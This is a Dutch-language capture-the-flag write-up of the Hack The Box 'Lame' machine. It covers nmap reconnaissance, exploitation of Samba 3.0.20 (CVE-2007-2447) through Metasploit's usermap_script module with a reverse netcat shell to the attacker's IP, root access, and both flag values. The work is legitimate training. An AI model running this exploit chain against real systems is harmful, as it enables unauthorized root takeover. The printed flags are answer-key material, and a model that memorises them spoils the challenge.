

Writeup Lame

Als eerst gaan we gaan scannen voor het zien of er poorten openstaan waarop dat we eventueel binnen zullen kunnen geraken of niet. Dit zullen we doen aan de hand van het volgende commando:

```
nmap -p- -sCV 10.129.206.11 -vvvv
```

We kunnen binnen dit commando ook -Pn gaan meegeven maar dit is alleen als de scan een fout aangeeft dat de poorten eventueel niet gescand zullen kunnen worden.

```
[eu-dedivip-2]-[10.10.14.112]-[hackthekat123@htb-2bwa39sgka]-[~]  
[★]$ nmap -p- -sCV 10.129.206.11 -vvvv  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 14:38 CDT  
NSE: Loaded 156 scripts for scanning.  
NSE: Script Pre-scanning.  
NSE: Starting runlevel 1 (of 3) scan.  
Initiating NSE at 14:38  
Completed NSE at 14:38, 0.00s elapsed  
NSE: Starting runlevel 2 (of 3) scan.  
Initiating NSE at 14:38  
Completed NSE at 14:38, 0.00s elapsed  
NSE: Starting runlevel 3 (of 3) scan.
```

Ik ben eens gaan kijken welke poorten er openstonden en waar er eventueel belangrijke informatie bij stond waardoor ik kan weten of ik op die poort kan gaan binnen breken.

Ik heb gezien dat volgende services open stonden:

- ftp

```

PORT      STATE SERVICE      REASON          VERSION
21/tcp    open  ftp          syn-ack ttl 63 vsftpd 2.3.4
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to 10.10.14.112
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   vsFTPD 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)

```

- ssh
 - Samba version smbld 3.0.20-Debian

Aan de hand van de samba version ben ik gaan zoeken of er geen exploit te vinden was voor die versie van Samba.

De exploit dat ik gevonden heb voor de gevonden versioe van Samba staat hieronder:



GitHub

<https://github.com> > CVE-2007-2447

un4gi/CVE-2007-2447: Samba 3.0.20 username map ...

Samba 3.0.20 username map script exploit made for the "Lame" machine on HackTheBox solely for learning purposes. Usage.

Voor het hacken van de machine kunnen we 2 manieren gaan gebruiken:

- **Manueel**

Aan de hand van de manuele exploitatie kunnen we gaan binnen geraken op de smb machine. De manuele manier voor binnen te geraken op de machine is door gebruik te maken van de exploit die we hierboven hebben opgezocht.

Voor deze exploit uittevoeren zullen we volgende aspecten:

- RHOST: Dit is het target ip address
- LHOST: Dit is je eigen ip address dat je mee moet geven, zodat we de connectie met de machine kunnen maken via onze eigen machine
- LPORT: Dit is de poort die we zullen gaan gebruiken voor de connectie opstand te kunnen brengen

```
$ python usermap_script.py <RHOST> <RPORT> <LHOST> <LPORT>
...
* `RHOST` -- The target address
* `RPORT` -- The target port (TCP : 139)
* `LHOST` -- The listen address
* `LPORT` -- The listen port
```

Exploit application

De application dat ik heb gebruikt voor het exploiten van mijn target is **Metasploit Console**. Via deze manier heb ik gemakkelijk een exploit uitgevoerd op mijn target door het volgende te doen.

Als eerst zullen we het pad moeten zetten van waar dat hij de exploit file zal moeten halen. Dit zullen we gaan doen aan de hand van het volgende commando:

```
use exploit/multi/samba/usermap_script
```

```
[msf](Jobs:0 Agents:0) >> use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
```

Dan zullen we de RHOST moeten meegeven. Dit zullen we doen aan de hand van het volgende commando:

```
set RHOSTS 10.129.206.11
```

```
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> set RHOSTS 10.129.206.11
RHOSTS => 10.129.206.11
```

We zullen ook ons eigen IP address moeten meegeven zodat we de connectie to stand zouden kunnen laten komen. Dit zullen we doen aan de hand van het volgende commando:

```
set LHOST 10.10.14.112
```

```
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> set LHOST 10.10.14.112
LHOST => 10.10.14.112
```

Eens dat al deze stappen voltooid zijn kunnen we de exploit gaan uitvoeren door het volgende commando te gebruiken.

exploit

```
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> exploit  
[*] Started reverse TCP handler on 10.10.14.112:4444  
[*] Command shell session 1 opened (10.10.14.112:4444 -> 10.129.206.11:54955) at 2024-08-05 14:08:10 -0500
```

Hierboven kunnen we zien dat er een connectie tot stand is gekomen. Als we nu id gaan gebruiken als command kunnen we zien welke rechten we hebben op de machine.

```
| id  
uid=0(root) gid=0(root)
```

Nu dat we als root rechten geconnecteerd zijn aan de machine, Kunnen wegaan zoeken naar de nodige flags.

De user.txt flag heb ik gevonden in het volgende path. Dit path heb ik gevonden door het uitvoeren van het volgende commando:

```
find / -name 'user.txt'
```

```
-----  
find / -name 'user.txt'  
/home/makis/user.txt  
cd /home/makis
```

dit is de eerste flag van de machine.

```
| user.txt  
cat user.txt  
42b746d05f3b1d8f75921157776aaff7
```

De tweede flag heb ik gevonden in het path “/root“. De tweede flag was het volgende:

```
-----  
cd root  
cat root.txt  
b81af4c3d9ac7384b706d6bbcb18a47e  
■
```

Nu dat ik beide flags heb gevonden is deze machine gehacked.